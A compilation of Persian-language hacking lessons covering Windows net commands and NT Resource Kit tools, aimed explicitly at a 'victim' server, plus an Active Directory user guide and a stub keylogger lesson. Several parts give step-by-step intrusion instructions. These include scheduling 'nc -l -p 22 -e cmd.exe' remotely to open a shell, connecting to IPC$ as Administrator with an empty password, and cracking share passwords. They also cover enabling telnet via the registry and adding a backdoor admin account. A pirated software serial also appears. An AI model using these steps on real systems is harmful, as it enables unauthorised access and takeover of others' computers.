تنها قسمتی که نیاز به توضیح دارد، عبارت Lockout است. این یک ویژگی امنیتی است. فرض کنید که کسی میخواد از طریق امتحان کردن تعداد زیادی پسورد برای یک اکانت، پسورد رو پیدا کنه ( Crack کردن ). می‌تونیم جوری اکانت رو تنظیم کنیم که مثلا بعد از سه بار تست ناموفق، به مدت چند دقیقه locak یا قفل بشه. اسن باعث میشه که کار هکر کند بشه. ولی معمولا اینطوری است که اکانت Administrator جوری هست که هرگز قفل نشه ( توضیحات مفصل رو درس بعدی بخونید ).Force user logoff how long after time expires?: Never Minimum password age (days): 0 Maximum password age (days): 42 Minimum password length: 0 Length of password history maintained: None Lockout threshold: Never Lockout duration (minutes): 30 Lockout observation window (minutes): 30 Computer role: SERVER The command completed successfully.
۸- net user :
این دستور به ما کمک میکنه که به صورت لوکال بدونیم که چه اکانت‌هایی در سیستم تعریف شده است و نیز اینکه اطلاعاتی در مورد هریک بدست بیاریم و نیز اکانت جدید تعریف کنیم. اول می‌خوام بدونم چه اکانت‌هایی تعریف شده، می‌نویسم:
و جواب می‌شنوم:net user
خوب حالا مثلا می‌خوام راجع به اکانت guest اطلاعاتی بگیرم، می‌نویسم:User accounts for \computer-name ------------------------------------------------------------------------------- Administrator ali araz ASPNET Guest The command completed successfully.
و جواب می‌گیرم:net user guest
میبینید که در سطر ۲ تا مونده به آخر ( سطری Local Group Membership ) دقیقا بیان شده که این اکانت به چه گروه‌هایی تعلق داره. دقت کنید که به‌جای دستور net user از دستور net users هم می‌تونید استفاده کنید.User name Guest Full Name Comment Built-in account for guest access to the computer/domain User's comment Country code 000 (System Default) Account active No Account expires Never Password last set 10/27/2003 2:58 AM Password expires Never Password changeable 10/27/2003 2:58 AM Password required No User may change password No Workstations allowed All Logon script User profile Home directory Last logon Never Logon hours allowed All Local Group Memberships *Guests Global Group memberships *None The command completed successfully.
حالا می‌خوام یک اکانت جدید اضافه بکنم. اسم اکانت می‌خوام vahid باشه و پسورد اون yechizi می‌نویسم:
حالا می‌خوام همین اکانت رو پاک کنم:net user vahid yechizi /add
دقت کنید که در دستور پاک کردن دیگه لزومی به وارد کردن پسورد نیست. دستور بعدی به ما میگه که چطوری یک اکانت رو وادار کنیم که عضو یک گروه محلی شود.net user vahid /delete
۹- net localgroup :
لیست گروههای محلی تعریف شده رو بیان میکنه و نیز میشه فهمید در هر کدوم از این گروه‌ها چه اکانت‌هایی هست ونیز میشه به یک گروه خاص اکانتی اضافه کرد. می‌خوام ببینم که چه گروههای محلی تعریف شده است. می‌نویسم:
و جواب می‌شنوم:net localgroup
دقت کنید که ویندوز معمولا هنگام ارائه نتایج دستورات net میاد و اول اسم هر گروه یک * قرار میده تا با اکانت‌ها اشتباه نشه. حالا می‌خوام ببینم که مثلا در گروه Administrators چه اکانت‌هایی هست. می‌نویسم:Aliases for \Computer-name ------------------------------------------------------------------------------- *Administrators *Backup Operators *Debugger Users *DHCP Administrators *DHCP Users *Guests *Power Users *Replicator *Users The command completed successfully.
و جواب می‌شنوم:net localgroup Administrators
پس سه تا اکانت در حد Admin داریم. حالا می‌خوام مثلا اکانت ali رو از لیست Admin ها خارج کنم، می‌نویسم:Alias name Administrators Comment Administrators have complete and unrestricted access to the computer/domain Members ------------------------------------------------------------------------------- Administrator ali araz The command completed successfully.
و اون اکانت از گروه حذف میشه (می‌تونید دوباره لیست بگیرید و ببینید که دیگه در این گروه نیست ). حالا می‌خوام دوباره اکانت ali رو به این گروه اضافه کنم، می‌نویسم:net localgroup Administrators ali /delete
این دستور از جمله مهم‌ترین دستوراتی است که باید یاد بگیرید. گاهی با اکانتی وارد میشویم و می‌خواهیم که اونو به حد Admin برسونیم و روش کار همین دستور آخری است ( اینکه اجازه اینکار رو داریم یا نه، بحثی است که بعدا مطرح میشه و گفته خواهد شد که چطوری توسط یک سری exploit مشکل رو حل کنیم). وقتی اکانتی وارد گروه Admin میشه، تمام مزایای همچین گروهی رو یدست میاره.net localgroup Administrators ali /add
۱۰- net session :
به کمک این دستور مشخص میشه که چه کسانی الان یک session در سیستم دارند. به عبارت دیگه چه کسانی به صورت remote به سیستم وارد شده‌اند. این دستور رو تایپ کنید:
تا لیست اونا بیاد. اگه می‌خوام همه session ها رو خاتمه بدم، می‌نویسم:net session
این همه session های مرا در کامپیوتری که درش این دستور اجرا شده، با سایر کامپیوترها قطع میکند. اگه فقط بخوام یک session رو با یه کامپیوتر خاص تموم کنم، می‌نویسم:net session /delete
این در حالتی است که با اون کامپیوتر session داشته باشم. دقت کنید که به جای دستور net session می‌تونید از دستور net sessions یا net sess استفاده کنید.net session \xxx.xxx.xxx.xxx /delete
۱۱- net send :
فرض کنید که می‌خوام یک message به فرد خاصی که الان به سیستم وارد شده و یک session دارد بفرستم. ( اینکه فردی session دارد یا نه، به کمک دستور net session قابل بررسی است) بدین منظور از این دستور می‌تونم استفاده کنم. مثلا اگه بخوام به Administrator که الان در سیستم هست، پیغام Salam Refig رو بفرستم، می‌نویسم:
در این حالت اون پیغام منو می‌گیره. اگه بخوام به همه اونایی که الان session دارند، همین پیغام رو بفرستم، می‌نویسم:net send Administrator Salam Refig
و پیغام و همه می‌گیرند. این دستور باید به صورت local یعنی از طریق یک shell اجرا بشه.net send /users Salam Refig
۱۲- سایر دستورات net :
یک سری دستورات net هستند مثل net computer و net group که در شبکه‌ای از ویندوز سرورها کاربرد دارند و بعدها بررسی خواهند شد. و نیز یک سری دستور برای مدیریت سرویس‌ها داریم مثل net config و net stop و net continue و net pause و net start که در جلسه بعد می‌گم.
- NTRK چیست؟
NTRK مخفف NT Resourse Kit است. NTRK محصولی از مایکروسافت است و به صورت یک CD جداگانه (و البته پولی) همراه نسخه‌های مختلف ویندوزهای سری NT به فروش می‌رسه و یک سری ابزارهای خط‌فرمانی و گرافیکی بسیار جالب را در اختیار قرار میده. NTRK مثل یک شمشیر دولبه‌است، هم به مدیران شبکه کمک میکنه که کار مدیریت ویندوز سرور رو راحت‌تر انجام بدهند و هم از دیدگاه هکر، NTRK پر از برنامه‌هایی است که برای هک کردن ویندوز سرور مورد نیاز است. نرم‌افزارهایی که خط فرمان خود ویندوز فاقد آن است. الان که من دارم درس رو می‌نویسم، شما می‌تونید از این آدرس به تعدادی از این ابزارها دسترسی پیدا کنید. (البته این گونه آدرس‌ها مدام تغییر می‌کنند چون در واقع غیرقانونی هستند). حالا مهم‌ترین نرم‌افزارهای این مجموعه رو شرح می‌دم:
الف- ابزارهای کار با Schedule Service :
۱- sc :
به کمک این ابزار، می‌تونیم سرویس‌های خاصی رو در سرور شروع، متوقف و... کند. مهم‌ترین سرویسی که در کار با این ابزار مدنظر داریم، schedule service است. این سرویس به ما امکان می‌دهد که سرور قربانی رو وادار کنیم که در زمان خاص، کار خاصی رو انجام دهد. اگه یادتون باشه وقتی با NetBIOS کار می‌کردیم و می‌تونستیم تروجانی رو به کامپیوتر قربانی کپی کنیم، معمولا باید منتظر می‌شدیم که کسی پشت همون کامپیوتر روی فایل کلیک کند یا در موادری خاص می‌تونستیم کاری کنیم که موقع restart شدن کامپیوتر اون فایل اجرا بشه ولی خودمون نمی‌تونستیم اون فایل رو اجرا کنیم. به کمک schedule service می‌تونیم مشخص کنیم که مثلا سر فلان ساعت فلان دستور اجرا شود ( مثلا این دستور میتواند دستوری باشد که به کمک nc یک پورت روی کامپیوتر قربانی اجرا شود ). این حالت در مواردی کاربرد دارد که ما یک اکانت Admin روی اون کامپیوتر داریم ولی به دلایلی شلی در اختیار نیست. برای اینکه توسط ابزار sc بتونیم مثلا schedule service رو در کامپیوتر قربانی فعال کنیم (البته اگه در حال حاضر فعال نباشد )، ابتدا باید یک session به کمک یک اکانت خاص از طریق NetBIOS برپا ! کنیم. دقت کنید که session باید حتما برای اکانتی در سطح اختیارات Admin برپا شود. این کار رو همون‌طور که گفتم، به کمک دستور net use انجام می‌دیم. حالا که session برقرار شد، در کامپیوتر خودمون می‌نویسیم:
و جواب می‌شنوم:sc \xxx.xxx.xxx.xxx start schedule
و schedule service شروع میشود. دقت کنید که کلمه start برای شروع یک سرویس است و کلمه schedule یعنی schedule service پس با این دستور schedule service در کامپیوتر قربانی فعال میشود. در دستور بالا منظور از xxx.xxx.xxx.xxx در واقع ip قربانی است. همون ip که یک session باهاش داریم.SERVICE_NAME: schedule TYPE : 120 WIN32_SHARE_PROCESS (interactive) STATE : 2 START_PENDING (NOT_STOPPABLE,NOT_PAUSABLE,IGNORES_SHUTDOWN) WIN32_EXIT_CODE : 0 (0x0) SERVICE_EXIT_CODE : 0 (0x0) CHECKPOINT : 0x0 WAIT_HINT : 0x7d0
اگر schedule service از قبل فعال بود جواب می‌شنیدم:
۲- at :[SC] StartService FAILED 1056: An instance of the service is already running.
بعد از اینکه schedule service در کامپیوتر قربانی فعال شد، حالا می‌خوام یه schedule task ( یا schedule job ) رو اجرا کنم. یعنی اینکه یک دستور رو مشخص کنم که سر ساعت خاصی اجرا شود. مثلا فرض کنید که من فایل nc رو به فولدری در آدرس c:something کپی کرده‌ام و حالا می‌خوام کاری کنم که پنج دقیقه دیگه، یک پورت توسط nc ایجاد بشه. اولا اینکه من قبلا یه netbios session تشکیل دادم. حالا میام و ساعت کامپیوتر قربانی رو بدست میارم. این کار رو همون‌طور که گفتم، توسط دستور net time انجام می‌دم. ملاحظه میکنم که مثلا ساعت سرور الان 11:20 PM است ( ساعت سرور مسلما با ساعت کامپیوتر شما متفاوت خواهد بود ). حالا اگه بخوام ۵ دقیقه دیگر (یعنی سر ساعت 11:25 PM ) دستور nc -l -p 22 -e cmd.exe اجرا بشه و فایل nc هم همون‌طور که گفتم مثلا در فولدر c:something باشه، می‌نویسم:
دقت کنید که هم sc و هم at رو از کامپیوتر خودم اجرا میکنم، پس لزومی به upload اون‌ها به کامپیوتر قربانی نیست. و نیز اینکه برای اجرای این دستورات باید اکانت ما در حد Administrator باشد و نیز NetBIOS روی اون کامپیوتر باز باشد.at \xxx.xxx.xxx.xxx 11:25P "c:something c -l -p 22 -e cmd.exe"
حالا می‌خوام ببینم که آیا این task به لیست schedule اضافه شده یا نه. می‌نویسم:
و جواب می‌شنوم:at \xxx.xxx.xxx.xxx
اگه بخوام این task رو از لیست schedule پاک کنم، می‌نویسم:Status ID Day Time Command Line ------------------------------------------------------------------------------- 1 Today 12:25 PM c:something c -l -p 22 -e cmd.exe
دلیل اینکه از عدد 1 استفاده کردم، این است که در لیستی که در بالا بدست اومد، ID برای این task عدد 1 بود.at \xxx.xxx.xxx.xxx 1 /delete
یک نکته در مورد sc و at این است که این دستورات رو میشه جوری اجرا کرد که بجای اینکه به صورت remote اجرا شوند، به صورت local اجرا شوند. برای اینکار در تمام دستورات بالا عبارت xxx.xxx.xxx.xxx\ رو حذف کنید و نیز مسلم است که نیازی به session نخواهد بود و باید هر دو فایل در سرور قربانی کپی شوند. این گونه استفاده از این دو دستور معمولا پیش نمی‌آید. زیرا فلسفه استفاده از آنها در مواقعی است که شلی در سرور نداریم. حالا که شل نیست، چطوری دستورات مربوطه رو اجرا کنیم ؟!
۳- soon :
همان کار at رو انجام میده ولی دیگه نیازی نیست که زمان رو در سرور بدست بیاریم. زیرا این ابزار یک کار خاص رو چند ثانیه بعد برای ما انجام میده. مثلا اگه بخوایم به صورت remote و توسط این ابزار مثلا ۱۰ ثانیه بعد دستور nc -l -p 22 -e cmd.exe رو روی سرور قربانی اجرا کنیم، می‌نویسیم:
همانند at ، این دستور هم می‌تونه به صورت لوکال اجرا بشه ( خودتون می‌دونید چطوری ! )soon \xxx.xxx.xxx.xxx 10 "nc -l -p 22 -e cmd.exe"
login کرده‌ایم.
ب- ابزارهای کار با رجیستری ویندوز:
۴- reg :
این ابزار برای تغییر دادن رجیستری در ویندوز به کار میره. همون‌طور که اطلاع دارید وقتی پشت یک کامپیوتر نشسته‌اید ( یا اینکه یک remote control گرافیکی در اختیار دارید ) می‌تونید با اجرای برنامه regedit ( مثلا با تایپ کردن اون در Run ویندوز ) به رجیستری ویندوز به صورت گرافیکی دسترسی داشته باشید. ولی اگه بخواین به صورت متنی رجیستری رو تغییر بدید، با ابزارهای خود ویندوز ممکن نیست و این باعث میشه مجبور بشیم از ابزاری به نام reg از NTRK بهره گیریم. اینو بگم که registry ویندوز حاوی اطلاعات حساسی است. اگه دانش کافی راجع بهش ندارید، بهتره هیچ تغییری اعمال نکنید.
reg هم مثل sc و at هم به صورت لوکال و هم به صورت remote قابل استفاده است. اگه در حالت remote می‌خواین استفاده کنید، حتما باید یک netbios session تشکیل بدید که در سطح دسترسی Administrator باشه. معمولا از این ابزار برای دو منظور استفاده میکنیم: اضافه کردن و پاک کردن کلید (key) و ورودی (entry). اگه بخوایم خیلی قضیه رو ساده بگیریم، کلیدها مثل فولدر است و ورودی‌ها مثل فایل. مثلا اگه بخوایم در کلید HKLMSoftwareMyCoAraz یک ورودی به صورت Point=20.00 را اضافه کنیم و نیز اگه به صورت لوکال باشیم، می‌نویسیم:
و اگه بخوایم همین کارو در کامپیوتر قربانی به صورت remote انجام بدیم، می‌نویسیم:REG ADD HKLMSoftwareMyCoArazPoint=20.00
حالا اکه بخوام یک همین کلید رو پاک کنم، در حالت لوکال می‌نویسم:REG ADD HKLMSoftwareMyCoArazPoint=20.00 \xxx.xxx.xxx.xxx
و در حالت remote می‌نویسم:REG DELETE HKLMSoftwareMyCoAraz /FORCE
تغییر دادن یک ورودی هم دقیقا مثل اضافه کردن اونه. فقط به جای reg add از reg update استفاده میکنیم.REG DELETE HKLMSoftwareMyCoAraz \xxx.xxx.xxx.xxx /FORCE
۵- regini :
کارش مثل reg است. فقط کلیدها و ورودی‌هایی که می‌خواهیم اضافه کنیم رو در یک فایل با پسوند ini قرار می‌دیم و این ابزار کار مورد نظر رو انجام میده. مثلا اگه همان کار بالایی رو بخواهیم با regini انجام بدیم، یک فایل متنی باز میکنیم به نام مثلا Araz.ini و داخل فایل می‌نویسیم:
و بعد می‌نویسم:HKLMSoftwareMyCoAraz Point = REG_SZ 20.00
این دستور معمولا موقعی به کار میره که چند entry (ورودی) رو می‌خواهیم به یک key (کلید) اضافه کنیم. در این حالت اگه بخوایم این کارو توسط reg انجام بدیم، چند بار باید دستور رو تکرار کنیم.regini -m \xxx.xxx.xxx.xxx Araz.ini
پ- ابزار تشخیص نوع ویندوز :
۶- gettype :
ابزار بسیار جالبی است که باید به صورت لوکال روی سرور قربانی اجرا شود. با اجرای این دستور مشخص میشود که ویندوز NT قربانی، از نوع Windows Server است یا Windows Workstation و اینکه Domain Controller است یا نه و... من روی ویندوز ۲۰۰۰ خودم نوشتم:
و جواب شنیدم:gettype /v
ت- ابزارهای کار با اکانت‌ها :Windows NT [Enterprise/Terminal] Server Non-Domain Controller
۷- whoami :
فرض کنید که به طریقی یک shell در کامپیوتر قربانی بدست آورده‌ایم. حالا می‌خواهیم ببینیم که دسترسی ما در چه حدی است ( به‌عبارت درست‌تر با چه اکانتی login شده‌ایم ). بدین منظور از این نرم‌افزار استفاده می کنیم. whoami باید به صورت لوکال روی قربانی اجرا شود. یعنی باید این فایل رو به کامپیوتر هدف ارسال کرده و همون‌جا اجرا کنیم. می‌نویسیم:
و مثلا جواب می‌شنویم:whoami
در این حالت، بالاترین اکانتی ( از نظر سطح اختیارات ) که لیست شود، اکانتی است که ما با اون بالا اومدیم.[Group 1] = "Everyone" [Group 2] = "LOCAL" [Group 3] = "IUSR_xxxx-yyyy" ,...
۸- local :
همون‌طور که در بالا گفتم، توسط دستور net localgroup می‌تونیم لیستی از اکانت‌های مربوط به یک گروه رو بدست بیاریم. ولی آن دستور باید به صورت local اجرا می‌شد تا جواب می‌داد. اگه بخوایم به صورت remote همین‌کار رو انجام بدیم، باید از ابزار local.exe استفاده کنیم. مثلا اگه session مربوط به netbios رو تشکیل داده باشم و بخوام بدونم در گروه محلی Administrators چه اکانت‌هایی هست، می‌نویسم:
۹- showgrps :local Administrators \xxx.xxx.xxx.xxx
ابزار بسیار خوبی است که باید به صورت لوکال استفاده شود. میشه گفت که یه‌جورایی تکمیل whoami است. به کمک این ابزار می‌تونیم هم کشف کنیم که اکانتی که باهاش وارد شدیم عضو چه گروههای محلی است ( واینکه اسم اکانت ما چیست ) و هم اینکه همین اطلاعات رو راجع به هر اکانتی از سیستم که بخوایم بدست بیاریم.
برای اینکه بدونم اکانتی که الان باهاش بالا اومدم اسمش چیست و در چه گروه‌هایی عضو است، می‌نویسم:
و جواب می‌شنوم:showgrps
مشخص میشه که اسم اکانت: Administrator است که در دو گروه Administrators و Everyone عضو است.User: [computer-nameAdministrator], is a member of: computer-nameAdministrators Everyone
حالا اگه بخوام بدونم که اکانتی به اسم guest در چه گروههای محلی شرکت دارد، می‌نویسم:
و جواب می‌شنوم:showgrps guest
وقتی می‌خواهیم بدونیم که فلان اکانت متعلق به چه گروه‌هایی است، اینکار توسط دستور net user هم قابل انجام است ( در بالا بحث شد). ولی اگه بخوایم بدونیم که خودمون با چه اکانتی بالا اومدیم، اینکار با net user قابل انجام نیست.User: [[computer-nameguest], is a member of: Everyone [computer-nameGuests
۱۰- showmbrs :
در کاربردی که فعلا مد نظر ماست، این ابزار همان کار دستور net localgroups رو انجام میده. یعنی برخلاف ابزار local.exe ، این ابزار باید به صورت محلی و لوکال استفاده بشه. کاربردش هم که واضحه و میگه که در فلان گروه محلی، چه اکانت‌هایی هست. مثلا اگه بخوام بدونم در گروه Administrators چه اکانت‌هایی هست ( یعنی چه اکانت‌هایی دسترسی به سیستم در سطح Admin رو دارند) می‌نویسم:
ث- ابزارهای بررسی مجوزهای NTFS:showmbrs Administrators
۱۱- perms :
یک ابزار فوق‌العاده و حلال مشکلات! اول کار هم بگم که باید به صورت لوکال استعمال بشه!! فرض کنید که شما با یک اکانت به سیستم وارد شده‌اید و حالا میخواهید ببینید که اولا: آیا یک درایو خاص به صورت FAT32 پارتیشن‌بندی شده است یا NTFS ( این نکته مهمی است زیرا اگه FAT32 باشه، دیگه کار ما بسیار راحت خواهد بود چون مجوزی در کار نیست ) و ثانیا: اگه به صورت NTFS است، فلان فولدر برای فلان یوزر در چه حدی قابل دسترس است ( یعنی اینکه برای فلان یوزر، فلان فولدر چه مجوزی دارد).
اولا: آیا مثلا درایو C به صورت NTFS ست شده است یا FAT32 ؟ برای این منظور اسم یک اکانت از گروه Admin ( مثلا Administrator ) رو انتخاب میکنم و حالا دستور زیر رو اجرا میکنم:
اگه جواب زیر رو بشنوم، یعنی FAT32 است:perms administrator c:
اگر هر جواب دیگه‌ای می‌اومد، می‌شد: NTFSc: perms: #-------
ثانیا: فرض کنید که حالا مثلا درایو D به صورت NTFS باشد و من هم مثلا با اکانت Guest وارد شده‌ام. می‌خواهم ببینم مثلا فولدر wwwroot که در این درایو هست، چه حد در دسترس من از نظر مجوزهای NTFS است؟ می‌نویسم:
و مثلا جواب می‌شنوم:perms guest d:wwwroot
این یعنی هیچ دسترسی به اون برای اکانت guest وجود ندارد. اگه می‌اومد:d:wwwroot perms: No Access
باید عبارت RWXDPOA# تفسیر بشه. هر کدام از این حرف‌ها این معنی رو میده:d:wwwroot perms: #RWXDPOA
با این تفاسیر می‌تونید ببینید که مثلا اکانت guest چه مجوزهایی داره. کافی است تک تک خروف رو با جدول بالا تطبیق بدید. مثلا در مثال بالا هم اجازه Read هست ( چون حرف R داریم ) و ...R Read W Write X Execute D Delete P Change Permissions O Take Ownership A General All - No Access * The specified user is the owner of the file or directory. # A group the user is a member of owns the file or directory. ? The user's access permisssions can not be determined.
۱۲- showacls :
اول ACL یا Access Control List قابلیتی است که NTFS استفاده میکند تا مجوزها رو تنظیم کند. ثانیا ACE یا Access Control Entries اظلاعاتی است که مجوز رو کنترل میکنه تا اکانت‌های خاص فقط مجوزهای خاص برای کار با فولدر خاصی بگیرند.
این ابزار یه چیزی تو مایه‌های همون perms.exe است که گفتم ولی با این تفاوت که وقتی یه درایو یا یک فولدر رو مشخص میکنم، می‌تونم تنظیم کنم که تمام زیرشاخه‌های اون رو هم از نظر مجوزها بررسی بکنه. مثلا اگه بخوام فولدر j:wwwroot رو از نظر مجوزها برای مثلا guest چک کنم، می‌نویسم:
کلید s/ مشخص میکنه که زیرشاخه‌ها رو هم می‌خوام تست کنم. اگه اونو حذف کنم، فقط مجوزهای فولدر مشخص شده بیان خواهد شد. حالا اگه جواب بیاد:showacls /s /u:guest j:wwwroot
یعنی که اون درایو به صورت FAT32 فرمت شده پس بررسی مجوزها محلی از اعراب نداره! ولی اگه NTFS باشه مثلا میاد:Error: Volume type incorrect [FAT32]
دقت کنید که فولدر خیلی پر زیرشاخه رو انتخاب نکنید که جواب‌‌ها بقدری زیاد میشه که حتی نمی‌تونید بخونید. برای تفسیر از جدول زیر استفاده کنید:User: [guest] has the following access to directory [j:wwwroot]: j:wwwroot j:wwwroot j:wwwrootali NT AUTHORITYSYSTEM Read [RX] Everyone Read [RX] NT AUTHORITYSYSTEM Read [RX] CREATOR GROUP Read [RX] BUILTINAdministrators Change [RWXD] CREATOR OWNER Change [RWXD] ,...
ج- ابزارهای کار با share ها :R GENERIC_READ W GENERIC_WRITE X GENERIC_EXECUTE ) D DELETE A GENERIC_ALL d FILE_READ_DATA (directory) l FILE_READ_DATA (file) s SYNCHRONIZE r FILE_READ_DATA w FILE_WRITE_DATA a FILE_APPEND_DATA rE FILE_READ_EA wE FILE_WRITE_EA fx FILE_EXECUTE
۱۳- rmtshare :
فرض کنید که یک session از netbios با اکانتی با سطح Admin ایجاد کرده‌ایم. در این حالت به کمک این ابزار می‌تونیم به صورت remote مجموعه share ها رو روی سیستم قربانی کنترل کنیم. مثلا یک share اضافه کنیم یا یک share رو پاک کنیم. مثلا اگه بخوام در کامپیوتر قربانی، فولدر c:info رو واسه اکانتی به اسم guest به صورت فقط خواندنی ( یعنی فقط Read ) بیام و share کنم و این share به اسم mydata باشه، باید بنویسم:
اگه می‌خواستم به‌جای فقط خواندنی، اجازه تغییر هم صادر کنم، بجای read می‌شد: Change حالا می‌خوام همین share رو پاک کنم. می‌نویسم:rmtshare \xxx.xxx.xxx.xxxmydata=c:info /GRANT guest:read
۱۴- netwatch :rmtshare \xxx.xxx.xxx.xxxmydata /DELETE
یک ابزار گرافیکی است که کار با share ها و مدیریت اون‌ها رو راحت میکنه. خیلی کار باهاش ساده‌است و نیازی به توضیح نداره.
۱۵- netcmd :
فرض کنید که شما الان یک netbios session با قربانی تشکیل داده‌اید. اگه یادتون باشه می‌تونستیم به کمک net use یک رایو مجازی برای کار با اون ایجاد کنیم. همین کار رو میشه با این ابزار انجام داد. مثلا اگه اسم share باشه: Araz می‌نویسیم:
۱۶- srvcheck :netcmd \xxx.xxx.xxx.xxxAraz
این ابزار به ما کمک میکند که ببینیم که روی سرور چه share هایی هست و چه کسانی به اون دسترسی دارند. کاربرد دستور و تفسیر نتایج بسیار ساده است، می‌نویسیم:
دقت کنید که به‌صورت remote کار میکنیم و نیاز به یک netbios session داریم.srvcheck \xxx.xxx.xxx.xxx
ساختن یوزر یا شناسه کاربری را در اکتیو دایرکتوری
امروز قصد داریم ساختن یوزر یا شناسه کاربری را در اکتیو دایرکتوری برای شما عزیزان آموزش دهیم:
در این مرحله یک user ایجاد میکنیم تا به واسطه آن به server متصل شویم
start->Programs->Administrative Tools->Active Directory Users and Computers
ویا Run->dsa.msc
سپس پنجره active directory users and computers نمایان میشود,روی dell.com راست کلیک کرده و new->user را انتخاب میکنیم
پس از اینکه نام user مورد نظر را وارد کردیم و next را زدیم به برای تعیین password به صفحه زیر وارد میشویم
پس از اینکه password وگزینه مورد نظر را انتخاب کردیم ساختن user پایان میگیرد
گزینه هایی که برای تعیین password قابل انتخاب هستند به شرح زیر میباشد
User Must Change Password At Next Logon
به اجبار user در اولین log on باید password را عوض کند
User cannot change password
این گزینه جلوگیری میکند از عوض کردن password بوسیله user
Password never expires
این گزینه باطل میکند تمامی تنظیمات مربوط به انقظای password را
Account is disabled
بوسیله این گزینه Administrator میتواند جلوگیری کنداز ورود user به سیستم
توجه داشته باشید بوسیله این گزینه account فعال میباشد اما user نمیتواند logon کند
هک ویندوز-شبکه
یکی از مشکلات بزرگ ویندوز که در Service pack های ویندوز هم وجود داره IPC هست حالا ما با استفاده از این روش کارمون را شروع میکنیم . یکی از نرم افزار های مورد نیاز GFI:LANguard Security Scaner هست که بخاطر قدرت و کارایی این برنامه را پیشنهاد میکنم که فقط باید یکسری تغییرات رو روی آن انجام بدین این برنامه را از سایت زیر داونلود کنید :
http://www.kyzj.com/
Serial:6J7FF-OL03J-9OHQB-1Q0XZ-F7PLZKH5TY-K1GSN-7BT5F-78A0B-CSKYU
البته ورژن 3.3 هم هست ولی من ورژن 3.2 را پیشنهاد میکنم که در سایت بالا ورژن 3.2 وجود دارد و سریال بالا نیز مربوط به همین ورژن هست حالا باید یکسری تغییرات در این برنامه بدیم .
1.option را انتخاب کنید و به قسمت Scanning بروید و این شاخه را انتخاب کنید Configure ports و حالا در قسمت :
Port number/range:1025
port desciription:network blackjacket و حالا ADD PORT را بزنید .
در قسمت New scan باید یک Range ای پی رو اسکن کنید تا یک ای پی با مشخصات زیر پیدا شود
پرت های باز 1025,139 را داشته باشد .
IPC share نیز داشته باشد حالا باید به این ای پی به صورت زیر کانکت شوید :
1.در قسمت Run این جمله را وارد کنید CMD
2. دستور زیر را وارد کنید :
Net use IpadressIPC$""/user:Administrator
اگر دستور زیر را دریافت کردین Successfully The Command was completed
از ای پی مورد نظر Share گرفتین و در اختیار شماست اما در غیر اینصورت Share دارای پسوورد میباشد که من برای کرک کردن پسسوورد از این برنامه استقاده میکنم : PQWAK که این برنامه رو از سایت Download.com دریافت کنید .
بعد از کرک از پسوورد بدست آمده اینگونه استفاده کنید Net use ipadressIPC$ "password"/user:administrator
در صورتیکه میخواهید با Telnet کانکت شوید مراحل زیر را طی کنید . در قسمت RUN تایپ کنید Regedit
به این آدرس بروید HKEY_LOCAL_MACHINE--Software--Microsoft--Telnet Server--1.0NTLM
حالا Value date این فایل رو به این جمله تغییر دهید : 21
در قسمت بعدی به RUN بروید و این دستور را تایپ کنید TELNET دستور زیر را وارد کنید Telnet ipadress
در ادامه اگر از شما یوزر و پسوورد خواست یوزر را Administrator و پسسورد را خالی بگذارید
حالا احتیاج به ساختن یک یوزر برای خود دارید . این دستور را در ادامه وارد کنید :
Net user username password/add
حالا برای قرار دادن یوزر خود در گروه ادمین ها این دستور را وارد کنید Net groups Administrators username/add
تمام شد شما به هدف خود رسیده اید اما من برای تازه کارها روش اول را پیشنهاد میکنم ولی دوستان دیگر میتوانند از Telnet استفاده کنند
نکته : من هیچ مسئولیتی در مورد تغییر رجیستری نمیپذیرم اگر شما قادر به Edit رجیستری نیستید بهتره از آن یه Backup تهیه کنید یا در نهایت از روش اول استفاده کنید .
آموش یک کی لاگر ساده
تو این درس می خوام همه کی کد ها را بگم + برنامه نویسی آن ها
کی کدها عبارتند از :
دکمه
A ---------------> 65
B ---------------->66
C ---------------> 67
D ---------------->68
E ---------------> 69
F---------------->70
G ---------------> 71
H ---------------->72
I ---------------> 73
J ---------------->74
K ---------------> 75
L ---------------->76
M ---------------> 77
N ---------------->78
O ---------------> 79
P ---------------->80
Q ---------------> 81
R ---------------->82
S ---------------> 83
T ---------------->84
U ---------------> 85
V---------------->86
W ---------------> 87
X ---------------->88
Y ---------------> 89
Z---------------->90
برای اعداد هم از ۰ تا ۹ به ترتیب از ۴۸ است تا ۵۷
برای F ها باید از این ساختار بروی : vbKeyF1
برنامه نویسی : این خط کد میگه اگر دکمه A را زد Print کند :
(Private Sub Form__KeyDown(KeyCode as Integer,Shift as Integer
if KeyCOde=65 then
"Me.Print "You Press A Key
end if
End Sub